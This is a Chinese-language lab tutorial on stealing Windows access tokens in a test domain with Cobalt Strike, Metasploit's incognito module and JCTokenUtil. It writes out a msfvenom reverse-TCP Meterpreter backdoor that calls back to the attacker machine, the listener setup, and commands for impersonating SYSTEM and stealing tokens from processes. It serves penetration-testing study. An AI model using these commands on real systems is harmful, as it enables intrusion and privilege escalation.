内网渗透-令牌窃取

前言

本来应该早些写的,但想来想去令牌窃取没太多东西,就慢慢给忘了,今天来补一下。

令牌窃取主要就是用msf、cs还有incognito.exe

令牌

令牌是系统的临时密钥,相当于账号和密码,用来决定是否允许此次请求和判断是属于哪一个用户的。它允许用户在不提供密码或者其他凭证的前提下,访问网络和资源。这些令牌将持续存在于系统之中,除非系统重新启动。令牌最大的特点是随机性、不可预测,黑客和软件均无法猜测出令牌。

令牌的种类有很多,如:

(1)访问令牌(Access Tokem):表示访问控制操作系统的对象。

(2)会话令牌(Session Token):是交互会话中唯一身份标识符。

(3)密保令牌(Scecurity Token):又称认证令牌或硬件令牌,是一种计算机身份检验的物理设备。

Windows的Access Token也有两种类型,如:

(1)授权令牌(Delegation Tokens):它支持交互式登录,例如远程桌面、用户桌面访问。

(2)模拟令牌(Impersonation Tokens):它支持非交互式的绘画,例如访问目标共享文件。

两种令牌会在系统重启后才会清除。授权令牌在用户注销后,该令牌会变为模拟令牌,依然起效。

不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。

用户启用一个进程,用户的凭证就会传递给此进程,进程通过凭证来获得用户能够得到的信息。当机器开启了一些程序就会有对应的进程,进程对应启动程序的用户

环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
域名: q1ngchuan.lab
域控:
操作系统: Windows Server 2016
主机名: DC2016
IP: 192.168.102.138
admin/654321qwe@
域内主机:
操作系统: Windows 10
主机名: WIN1
IP: 192.168.102.140
用户hack/123456Aa@
攻击机:
操作系统: kali Liux
IP: 192.168.102.130

CobaltStrike 进行令牌窃取

首先我们模仿我们拿下来域内的一台普通用户的机器WIN1(hack)

image-20250331193727899

查看进程,发现都是hack用户运行的

image-20250331193817978

查找域管进程

假设域管运行了一个calc.exe

先以管理员的身份运行cmd.exe,然后calc.exe

image-20250331202527501

image-20250331203011358

Metasploit进行令牌窃取

1
2
3
4
5
6
7
use incognito  #加载incognito模块
list_tokens -u #列出AccessToken
getuid #查看当前token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟system 用户,getsystem 命令,即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
steal_token 1252 #从进程窃取token
getsystem #提升至system 权限
rev2self #返回到之前的AccessToken 权限

先生成一个msf的后门shell.exe。

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=1444 LHOST=192.168.102.130 -f exe -o shell.exe

开启监听

1
2
3
4
5
6
msfconsole  
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.102.130 // 你设置监听的ip
set lport 1444 // 你设置监听的端口
exploit

image-20250331203843924

进入incognito模块并列举访问令牌,windows下可以列举出授权令牌 (Delegation Token)和模拟令牌(Impresonation)这两种访问令牌。

1
2
use incognito  #加载incognito模块
list_tokens -u #列出AccessToken

image-20250331203959085

伪造令牌,模拟system权限的用户

1
2
3
4
getuid  #查看当前token
# 模拟system用户,getsystem 命令,即实现了该命令。
# 如果要模拟其他用户,将 token 名改为其他用户即可
impersonate_token "NT AUTHORITY\SYSTEM"

image-20250331204158373

除了可以伪造令牌,也可以从进程里窃取令牌。首先使用 ps 命令列出进程,查看进程用户

image-20250331204330311

查看好拥有system权限的进程的pid,然后使用 steal_token命令,窃取进程对应的令牌就有对应的权限。

image-20250331204427923

1
steal_token 744

image-20250331204534437

直接利用system窃取令牌,然后返回之前的 token。

1
2
getsystem  # 提升至system 权限
rev2self # 返回到之前的AccessToken 权限

image-20250331204635568

JCTokenUtils.exe程序

incognito.exe程序我在网上搜不到了,用的JCTokenUtilhttps://github.com/chroblert/JCTokenUtil

基于incognito的代码进行编写的

1
TokenUtil_x64.exe ListTokens

image-20250331205752495

1
2
3
TokenUtil_x64.exe Execute -p 572 -e whoami -c

TokenUtil_x64.exe Execute -u "NT AUTHORITY\SYSTEM" -e whoami -c

image-20250331210059669image-20250331210213554

类似的还有https://github.com/BeichenDream/SharpToken

未完待续…